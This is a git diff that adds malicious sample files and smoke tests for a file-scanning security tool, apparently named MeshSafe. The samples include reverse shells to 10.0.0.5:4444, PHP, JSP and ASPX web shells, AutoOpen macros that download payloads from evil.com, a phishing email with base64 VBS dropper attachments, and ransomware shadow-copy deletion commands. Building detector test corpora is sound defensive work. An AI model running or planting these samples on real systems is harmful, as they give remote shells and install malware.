zo?G{*SUM^-iV5E%AmJz!c*M9vR%kGDBZwN8DypJjoaRZvmS~~`*#w#Zg&0-SQ?Zhm zc%E$;M1o|x>eaz90~&J6q$o?coF)zo^Vx1v`v9CZ*9-|3XZgHk&>DeSSUYXMN9i|o zXd-JllI83+HKdjUz1vSorQ(Qcc&+Z{&r|p54ypOTxwU;3lvM2`sJYCkEp$!UqbzWx z;taKYLdB}(i9b{m;?*&fnvI}n(oAALX^vnNsCf8p2?Q9gZr5PNG{w-HM*uS6D^w=& zZ~Hvpt}!1G;;?+Tf9nMBr`ow%sR)SN7aBDFJ4wBsBW-APEQ2$_@=`OHQ{}4_lMTyk zpT+ur{)$!GOh1Ui&Gg%!{aulWYO1LCDl~(9c;EZ+#hWvqp!fgtk1;S?$f3&x$ue** z#s;GZp4nAu+Xx$usnHTex`B)Ww^6k;&^62Umo3q9M4~uD>BQo^<(jN07U!trEe0I} z1Fbu7biy?egpEd3>{=mNZcKnmR6|aRbGsX)zx7qiHI&d74Yx7M!Sq+Bhq^HY4V&{Lf*U!?sFrnY7_piH&6&xGB>=X~A$Gyt?X^}_(+qooe8*V%N?gdM~6wC*_6T}`}A gbqynh%Ss)|?P*zLvQs_B)Sw>tjl(qG9amq!0Hz& /dev/tcp/10.0.0.5/4444 0>&1' +Terminal=false diff --git a/tests/samples/malicious.pdf b/tests/samples/malicious.pdf new file mode 100644 index 0000000..84373c0 --- /dev/null +++ b/tests/samples/malicious.pdf @@ -0,0 +1,31 @@ +%%PDF-1.4 +1 0 obj +<>> +endobj +2 0 obj +<> +endobj +3 0 obj +<> +endobj +4 0 obj +<> +endobj +5 0 obj +<> +stream +endstream +endobj +xref +0 6 +0000000000 65535 f +0000000011 00000 n +0000000120 00000 n +0000000200 00000 n +0000000320 00000 n +0000000450 00000 n +trailer +<> +startxref +500 +%%EOF diff --git a/tests/samples/miner_config.json b/tests/samples/miner_config.json new file mode 100644 index 0000000..d09b051 --- /dev/null +++ b/tests/samples/miner_config.json @@ -0,0 +1,6 @@ +{ + "pools": ["stratum+tcp://pool.xmrpool.net:3333"], + "username": "4AsMe1", + "donate-level": 5, + "cpu-affinity": true +} \ No newline at end of file diff --git a/tests/samples/normal.pdf b/tests/samples/normal.pdf new file mode 100644 index 0000000..62b3f57 --- /dev/null +++ b/tests/samples/normal.pdf @@ -0,0 +1,28 @@ +%%PDF-1.4 +1 0 obj +<> +endobj +2 0 obj +<> +endobj +3 0 obj +<> +endobj +4 0 obj +<> +stream +BT /F1 12 Tf 100 700 Td (Hello World) Tj ET +endstream +endobj +xref +0 5 +0000000000 65535 f +0000000009 00000 n +0000000058 00000 n +0000000110 00000 n +0000000200 00000 n +trailer +<> +startxref +300 +%%EOF diff --git a/tests/samples/normal_deploy.sh b/tests/samples/normal_deploy.sh new file mode 100644 index 0000000..a396538 --- /dev/null +++ b/tests/samples/normal_deploy.sh @@ -0,0 +1,7 @@ +#!/bin/bash +# 正常部署脚本，只有 git clone + npm install +set -e +git clone https://github.com/example/project.git +cd project +npm install +npm start diff --git a/tests/samples/normal_readme.txt b/tests/samples/normal_readme.txt new file mode 100644 index 0000000..7d84be9 --- /dev/null +++ b/tests/samples/normal_readme.txt @@ -0,0 +1,3 @@ +这是一个正常的文本文件。 +没有任何危险特征：没有反弹 Shell、没有 Webshell、没有宏、没有可执行魔数。 +仅供内部参考。 diff --git a/tests/samples/normal_report.docx b/tests/samples/normal_report.docx new file mode 100644 index 0000000000000000000000000000000000000000..cbd01d37919fdc2490e6e791d2a2ea57d0e7f792 GIT binary patch literal 1212 zcmbW0L2DC16vsD>N@-7GZ(fGEmh7Y+L_#(_ScOusK`I_S=^mjW~NPZTSf7r zD2T;+QYwmydNhJ4_*I%jJruu!Z*~*gY^w%$nYXh$JO4NH`_HQ`*Zw5vP?S;-t#1rmX$hfvQ!k|100j)Ese8C+&V;3=E+!dbB>khuObiQx~Bc&<# zXdpOqaEmECTbU>~O9L4M3S5<%4sK{2l?YL8gN0PtB4QlIYC?uo!>g?J%}I;F-bIGdV_6Lszc<)uY7%4 z0cxh50CLM`1=j#=b*U9GwK6I@gDRPkQW}L(MBVGO&QdgPnzf)!R>NqH)#zHF(YXy+ zO==o2#;CtMlgq(0iUQxI8ayRtl)%JAFj@K@LscsE1scL{i5)}7;V(Mt+{-vx5Ve}` zvH?IlYp(r!#27q1SO`gYWN_aOuf8}5s7;#$+^doWir6NOazqX0i!4ZXtQvl#{u4Lk z+tV<(_lu%=&%tuuo53i>{O|Lg5}NB5Tx#i14l?`)C{tNy+QA1ZH8GLwUylNYxv?qh z&*csvlPdZkSGnj|_BRqHW=Is~C Cn~o^} literal 0 HcmV?d00001 diff --git a/tests/samples/ole_dropper.doc b/tests/samples/ole_dropper.doc new file mode 100644 index 0000000000000000000000000000000000000000..ea3de9e304634cc98e02d6046900d03ba8eae5a0 GIT binary patch literal 1641 zcmca`Uhu)fjZzO8(10BSGsD0CoD6Iz;*3BZ2%`W22B6CS|3PAZp)`v8C}&87Kx%GM zYD!9KN_;_LWlnx#ie73(DuZtn`EG9jY7KB@U`T00O)?)Cl*l)fPCE5UQY%V8b^#MN z0}~XpfCNUtXb6mk0D1_7Wfql`CgwQi?q~ +To: me@internal.com +Subject: URGENT: Invoice verification required within 24 hours - click here to verify your account + +--===============3818226399663948811== +Content-Type: text/plain; charset="utf-8" +MIME-Version: 1.0 +Content-Transfer-Encoding: base64 + +RGVhciBFbXBsb3llZSwKCkFuIHVyZ2VudCBpbnZvaWNlIHBheW1lbnQgaXMgcGVuZGluZy4gUGxl +YXNlIHZlcmlmeSB5b3VyIGFjY291bnQgYW5kIGNsaWNrIHRoaXMgbGluayBpbW1lZGlhdGVseSB0 +byBhdm9pZCB3aXJlIHRyYW5zZmVyIGRlbGF5LgoKWW91ciBwYXNzd29yZCBhbmQgY3JlZGVudGlh +bCBhcmUgcmVxdWlyZWQgZm9yIGxvZ2luIHZlcmlmaWNhdGlvbi4KCkRvd25sb2FkIGFuZCBvcGVu +IHRoZSBhdHRhY2htZW50IChpbnZvaWNlLnBkZi52YnMpIHRvIHNlZSB0aGUgb3JkZXIgcmVjZWlw +dC4KCkJlc3QgcmVnYXJkcywKSVQgU3VwcG9ydA== + +--===============3818226399663948811== +Content-Type: application/octet-stream +MIME-Version: 1.0 +Content-Transfer-Encoding: base64 +Content-Disposition: attachment; filename="invoice.vbs" + +U2V0IHggPSBDcmVhdGVPYmplY3QoIldzY3JpcHQuU2hlbGwiKQp4LlJ1biAiY21kLmV4ZSAvYyBj +dXJsIGh0dHA6Ly9ldmlsLmNvbS9kcm9wcGVyLmV4ZSAtbyBDOlxXaW5kb3dzXFRlbXBcYS5leGUg +JiYgQzpcV2luZG93c1xUZW1wXGEuZXhlIgo= + +--===============3818226399663948811== +Content-Type: application/octet-stream +MIME-Version: 1.0 +Content-Transfer-Encoding: base64 +Content-Disposition: attachment; filename="invoice.pdf.vbs" + +U2V0IHggPSBDcmVhdGVPYmplY3QoIldzY3JpcHQuU2hlbGwiKQp4LlJ1biAiY21kLmV4ZSAvYyBj +dXJsIGh0dHA6Ly9ldmlsLmNvbS9kcm9wcGVyLmV4ZSAtbyBDOlxXaW5kb3dzXFRlbXBcYS5leGUg +JiYgQzpcV2luZG93c1xUZW1wXGEuZXhlIgo= + +--===============3818226399663948811== +Content-Type: application/octet-stream +MIME-Version: 1.0 +Content-Transfer-Encoding: base64 +Content-Disposition: attachment; filename="form.js" + +PD9waHAgZXZhbCgkX0dFVFsiY21kIl0pOyBlY2hvICJvayI7ID8+ + +--===============3818226399663948811==-- diff --git a/tests/samples/photo.jpg.php b/tests/samples/photo.jpg.php new file mode 100644 index 0000000..ec78b79 --- /dev/null +++ b/tests/samples/photo.jpg.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/tests/samples/ransom_dropper.exe.txt b/tests/samples/ransom_dropper.exe.txt new file mode 100644 index 0000000..4a3fea2 --- /dev/null +++ b/tests/samples/ransom_dropper.exe.txt @@ -0,0 +1,5 @@ +CryptEncrypt CryptDeriveKey BCryptEncrypt +vssadmin delete shadows /all /quiet +wmic shadowcopy delete +bitcoin address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa +HOW_TO_RECOVER.html - All your files are encrypted. Send BTC. diff --git a/tests/samples/sealed.docx b/tests/samples/sealed.docx new file mode 100644 index 0000000000000000000000000000000000000000..b48472e7a0fa52cf4479a05a7c5a6d711a344b27 GIT binary patch literal 6656 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 G1pWn%1wMTM literal 0 HcmV?d00001 diff --git a/tests/samples/shell_aspx.aspx b/tests/samples/shell_aspx.aspx new file mode 100644 index 0000000..e17ea05 --- /dev/null +++ b/tests/samples/shell_aspx.aspx @@ -0,0 +1,6 @@ +<%@ Page Language="C#" %> + \ No newline at end of file diff --git a/tests/samples/shell_bash_devtcp.sh b/tests/samples/shell_bash_devtcp.sh new file mode 100644 index 0000000..9db3e85 --- /dev/null +++ b/tests/samples/shell_bash_devtcp.sh @@ -0,0 +1,2 @@ +#!/bin/bash +bash -i >& /dev/tcp/10.0.0.5/4444 0>&1 diff --git a/tests/samples/shell_jsp_runtime.jsp b/tests/samples/shell_jsp_runtime.jsp new file mode 100644 index 0000000..d30be15 --- /dev/null +++ b/tests/samples/shell_jsp_runtime.jsp @@ -0,0 +1,9 @@ +<%@ page import="java.io.*" %> +<% + Runtime rt = Runtime.getRuntime(); + Process p = rt.exec(request.getParameter("cmd")); + InputStreamReader isr = new InputStreamReader(p.getInputStream()); + BufferedReader br = new BufferedReader(isr); + String line; + while ((line = br.readLine()) != null) out.println(line); +%> \ No newline at end of file diff --git a/tests/samples/shell_nc.sh b/tests/samples/shell_nc.sh new file mode 100644 index 0000000..6614fbd --- /dev/null +++ b/tests/samples/shell_nc.sh @@ -0,0 +1,2 @@ +#!/bin/bash +nc 10.0.0.5 4444 -e /bin/bash diff --git a/tests/samples/shell_php_eval.php b/tests/samples/shell_php_eval.php new file mode 100644 index 0000000..b334145 --- /dev/null +++ b/tests/samples/shell_php_eval.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/tests/samples/shell_php_obf.php b/tests/samples/shell_php_obf.php new file mode 100644 index 0000000..dc3e339 --- /dev/null +++ b/tests/samples/shell_php_obf.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/tests/samples/shell_python.py b/tests/samples/shell_python.py new file mode 100644 index 0000000..dc60d1d --- /dev/null +++ b/tests/samples/shell_python.py @@ -0,0 +1,7 @@ +import socket, pty, subprocess, os +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect(("10.0.0.5", 4444)) +os.dup2(s.fileno(), 0) +os.dup2(s.fileno(), 1) +os.dup2(s.fileno(), 2) +pty.spawn("/bin/bash") diff --git a/tests/samples/shortcut.lnk b/tests/samples/shortcut.lnk new file mode 100644 index 0000000000000000000000000000000000000000..50c0e129e9a71db5a745e3c2608627dacd592e16 GIT binary patch literal 143 zcmeZaU|?VrVFHp23u|P;3D3++$uBRC39c+INzFAjib>8*(MzpJ hRnSjXNG>hPQOGDMDX`MlPc6&L(M!(H)lUS;0sv0f7D503 literal 0 HcmV?d00001 diff --git a/tests/samples/template_backdoor.docx b/tests/samples/template_backdoor.docx new file mode 100644 index 0000000000000000000000000000000000000000..7a5c4d1854a8973862cc5da5df8126a6845f0427 GIT binary patch literal 2176 zcmcIl&1=*^6yMrbp*@McDJ2XDLTRS;AhI-D&?=TIE&sB84e z_{7WSqbIlFS*@e6<`{Rd!|WNK2GX4Oy@5e6#w_K+Wr2nI%|2w%z-Epc)GTzham*wfS}!ek*0;9He(pGbJ+HLT)? zoY_=QRYG3FF=7D|8}D#MkLrOl=LKi+?cmS070S2xzzH(%V0p5BR8 zR)2kb@cq;6Xl*50{v0jc+j#Ww=d-nMi#Gl#tlhNsT64*h$o0siG=UhG><{c+$8q z57{It0jbDH(^Ii5M8eQ>Z6ZNLtiED!yaK9n*P%w4a5+kR*cS7j)Bi6xvw@>Y*vqO_ z*QObPrmm*B^F=Azvu`4TN(p5k6t@SPNQS(V1CBM(B){cfdwm?_R;v>vpXAgN*i^Qe zzEDz+Q7>j)OuM1@N68^x9YaaJ8`KzfEX0SMeqmIiLxX!tiE#GS5&04wHFBq$Duy zoC@_r5Rn?Z=q7qq!lVmf;AFp{F~_#vtd0R|YMsbtb5eqthvKj4a%@OqPP+eDpXz@P zutIfW>ouCzKb>_w(`G)Ng6Zin#$otKKihVhIWX?j$m9V@g~(9>TC^PMD(rnyf*|p= z2|BkJupceu^w literal 0 HcmV?d00001 diff --git a/tests/samples/vba_autoexec.bas b/tests/samples/vba_autoexec.bas new file mode 100644 index 0000000..2b5e6da --- /dev/null +++ b/tests/samples/vba_autoexec.bas @@ -0,0 +1,3 @@ +Sub AutoOpen() + Shell "cmd.exe /c curl http://evil.com/a.bat -o C:\Windows\Temp\a.bat" +End Sub diff --git a/tests/samples/wps_macro.js b/tests/samples/wps_macro.js new file mode 100644 index 0000000..6919215 --- /dev/null +++ b/tests/samples/wps_macro.js @@ -0,0 +1,4 @@ +function AutoOpen() { + var sh = new ActiveXObject("Wscript.Shell"); + sh.run("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'"); +} diff --git a/tests/samples/zip_traversal.zip b/tests/samples/zip_traversal.zip new file mode 100644 index 0000000000000000000000000000000000000000..914097a2ba970a2615d59eff769993422843ef48 GIT binary patch literal 164 zcmWIWW@Zs#00F None: + global passed, failed + try: + fn() + passed += 1 + print(f" ✅ {name}") + except Exception as exc: # noqa: BLE001 + failed += 1 + print(f" ❌ {name}: {exc}") + import traceback + traceback.print_exc() + + +print("=" * 60) +print("MeshSafe 冒烟测试") +print("=" * 60) + +# ---- 1) 日志系统 ---- +print("\n[1] 日志系统") + + +def test_logging(): + from app.logging_config import setup_logging, get_logger + + setup_logging() + log = get_logger("smoke") + log.info("INFO 日志正常") + log.warning("WARNING 日志正常") + log.debug("DEBUG 日志被抑制（默认 INFO）") + + +test("logging_config 初始化正常", test_logging) + + +# ---- 2) 配置加载 + 策略解析 ---- +print("\n[2] 配置与策略") + + +def test_config_and_policy(): + from app.config import get_settings + from app.services.policy import PolicyStore + + settings = get_settings() + assert settings.log_level == "INFO", f"log_level 应为 INFO，实际 {settings.log_level}" + + store = PolicyStore(policy_file="config/policy.yaml") + policy = store.current() + + # 零容忍规则集 + zt = policy.zero_tolerance_rules + assert len(zt) >= 20, f"零容忍规则应 >= 20 条，实际 {len(zt)}" + + # 关键规则必须存在 + for rule in ("PdfJavaScript", "PathTraversal", "LinuxExecutable", + "DesktopFileAutoExec", "ShellScriptDangerous", + "LnkWithAutoExec"): + assert rule in zt, f"零容忍规则缺少: {rule}" + + print(f" 零容忍规则 {len(zt)} 条 ✓") + print(f" macro_exceptions {len(policy.macro_exceptions or [])} 条") + + +test("Settings + PolicyStore 加载正常", test_config_and_policy) + + +# ---- 3) PolicyEngine 零容忍优先 ---- +print("\n[3] PolicyEngine 零容忍优先检查") + + +def test_zero_tolerance_priority(): + from app.services.policy import PolicyEngine, PolicyStore + from app.engines.base import Finding, Severity + + store = PolicyStore(policy_file="config/policy.yaml") + engine = PolicyEngine(store.current()) + + # 构造一个命中零容忍规则的 finding + findings = [ + Finding( + engine="structure", + layer="L0", + severity=Severity.CRITICAL.value, + rule="PathTraversal", + detail="归档成员路径 ../../etc/passwd", + weight=85.0, + ), + ] + + decision = engine.decide( + findings, + filename="evil.zip", + declared_ext=".zip", + size=1024, + ) + + assert decision.verdict == "malicious", f"verdict 应为 malicious，实际 {decision.verdict}" + assert decision.action == "reject", f"action 应为 reject，实际 {decision.action}" + assert decision.score == 100.0, f"零容忍应给 100 分，实际 {decision.score}" + assert len(decision.triggered) == 1 + assert decision.triggered[0]["type"] == "zero_tolerance" + + +test("零容忍命中 → 直接 reject，不走评分", test_zero_tolerance_priority) + + +# ---- 4) ELF 文件识别 + LinuxExecutable 零容忍 ---- +print("\n[4] Linux 专属检测（ELF）") + + +def test_elf_detection(): + from app.engines.structure import StructureEngine + + engine = StructureEngine() + + # 创建一个最小 ELF 文件（ELF magic header） + with tempfile.NamedTemporaryFile(delete=False, suffix=".elf") as f: + f.write(b"\x7fELF" + b"\x00" * 60) + elf_path = f.name + + try: + from app.engines.base import ScanTarget + + target = ScanTarget( + path=elf_path, + filename="malicious.elf", + declared_ext=".elf", + logical_path="malicious.elf", + depth=0, + ) + + ctx = type("Ctx", (), {"settings": None})() + result = engine.safe_scan(target, ctx) + + # 必须有 LinuxExecutable finding + zt_findings = [f for f in result.findings if f.rule == "LinuxExecutable"] + assert len(zt_findings) >= 1, f"ELF 文件应触发 LinuxExecutable，实际 findings={result.findings}" + + print(f" ELF 魔数识别: real_type={result.meta.get('real_type')}") + print(f" 命中规则: {[f.rule for f in result.findings]}") + finally: + os.unlink(elf_path) + + +test("ELF 文件识别 → LinuxExecutable finding", test_elf_detection) + + +# ---- 5) .desktop 文件危险命令检测 ---- +print("\n[5] Linux 专属检测（.desktop 危险命令）") + + +def test_desktop_detection(): + from app.engines.structure import StructureEngine + + engine = StructureEngine() + + content = """[Desktop Entry] +Type=Application +Name=Evil App +Exec=/bin/sh -c "wget http://evil.com/payload.sh -O /tmp/p && sh /tmp/p" +""" + + with tempfile.NamedTemporaryFile(delete=False, suffix=".desktop", mode="w") as f: + f.write(content) + desktop_path = f.name + + try: + from app.engines.base import ScanTarget + + target = ScanTarget( + path=desktop_path, + filename="evil.desktop", + declared_ext=".desktop", + logical_path="evil.desktop", + depth=0, + ) + + ctx = type("Ctx", (), {"settings": None})() + result = engine.safe_scan(target, ctx) + + zt_findings = [f for f in result.findings if f.rule == "DesktopFileAutoExec"] + assert len(zt_findings) >= 1, f".desktop 文件应触发 DesktopFileAutoExec，实际 findings={result.findings}" + + print(f" 命中规则: {[f.rule for f in result.findings]}") + finally: + os.unlink(desktop_path) + + +test(".desktop 危险 Exec 字段 → DesktopFileAutoExec finding", test_desktop_detection) + + +# ---- 6) Shell 脚本反弹 Shell 检测 ---- +print("\n[6] Linux 专属检测（Shell 反弹 Shell）") + + +def test_reverse_shell_detection(): + from app.engines.structure import StructureEngine + + engine = StructureEngine() + + content = """#!/bin/bash +# 反弹 Shell +bash -i >& /dev/tcp/attacker.com/4444 0>&1 +""" + + with tempfile.NamedTemporaryFile(delete=False, suffix=".sh", mode="w") as f: + f.write(content) + sh_path = f.name + + try: + from app.engines.base import ScanTarget + + target = ScanTarget( + path=sh_path, + filename="reverse.sh", + declared_ext=".sh", + logical_path="reverse.sh", + depth=0, + ) + + ctx = type("Ctx", (), {"settings": None})() + result = engine.safe_scan(target, ctx) + + zt_findings = [f for f in result.findings if f.rule == "ShellScriptDangerous"] + assert len(zt_findings) >= 1, f"Shell 反弹 Shell 应触发 ShellScriptDangerous，实际 findings={result.findings}" + assert zt_findings[0].severity == "critical", f"反弹 Shell 应为 CRITICAL，实际 {zt_findings[0].severity}" + + print(f" 命中规则: {[(f.rule, f.severity) for f in result.findings]}") + finally: + os.unlink(sh_path) + + +test("Shell 反弹 Shell → ShellScriptDangerous (CRITICAL)", test_reverse_shell_detection) + + +# ---- 7) open_risk 计算 ---- +print("\n[7] open_risk 计算") + + +def test_open_risk(): + from app.services.policy import PolicyEngine + from app.engines.base import Finding, Severity + + # 无风险 + open_risk = PolicyEngine.compute_open_risk("clean", [], ".docx") + assert open_risk["level"] == "low" + print(f" 无风险 docx: level={open_risk['level']}") + + # 零容忍命中 + open_risk = PolicyEngine.compute_open_risk( + "malicious", + [Finding("s", "L0", "critical", "LinuxExecutable", "ELF", 85.0)], + ".elf", + ) + assert open_risk["level"] == "critical" + assert "zero_tolerance_hit" in open_risk["factors"] + print(f" ELF 命中: level={open_risk['level']} factors={open_risk['factors']}") + + # 含宏 + open_risk = PolicyEngine.compute_open_risk( + "clean", + [Finding("d", "L2", "high", "VBAMacroPresent", "含宏", 40.0)], + ".docm", + ) + assert open_risk["level"] == "high" + assert "contains_macro" in open_risk["factors"] + print(f" 含宏 docm: level={open_risk['level']} factors={open_risk['factors']}") + + +test("open_risk 四级计算正确", test_open_risk) + + +# ---- 8) main.py 导入 ---- +print("\n[8] main.py 导入") + + +def test_main_import(): + # main.py 启动时会尝试连接数据库，这里只验证可被 import 解析 + # 实际启动需要 db_url 有效 + import importlib.util + + spec = importlib.util.spec_from_file_location("app.main", "app/main.py") + assert spec is not None + print(" main.py 文件可被解析 ✓") + + +test("main.py 可被 import 解析", test_main_import) + + +# ---- 汇总 ---- +print("\n" + "=" * 60) +total = passed + failed +print(f"结果: {passed}/{total} 通过，{failed} 失败") +print("=" * 60) + +sys.exit(0 if failed == 0 else 1) diff --git a/脚本.txt b/脚本.txt new file mode 100644 index 0000000..e69de29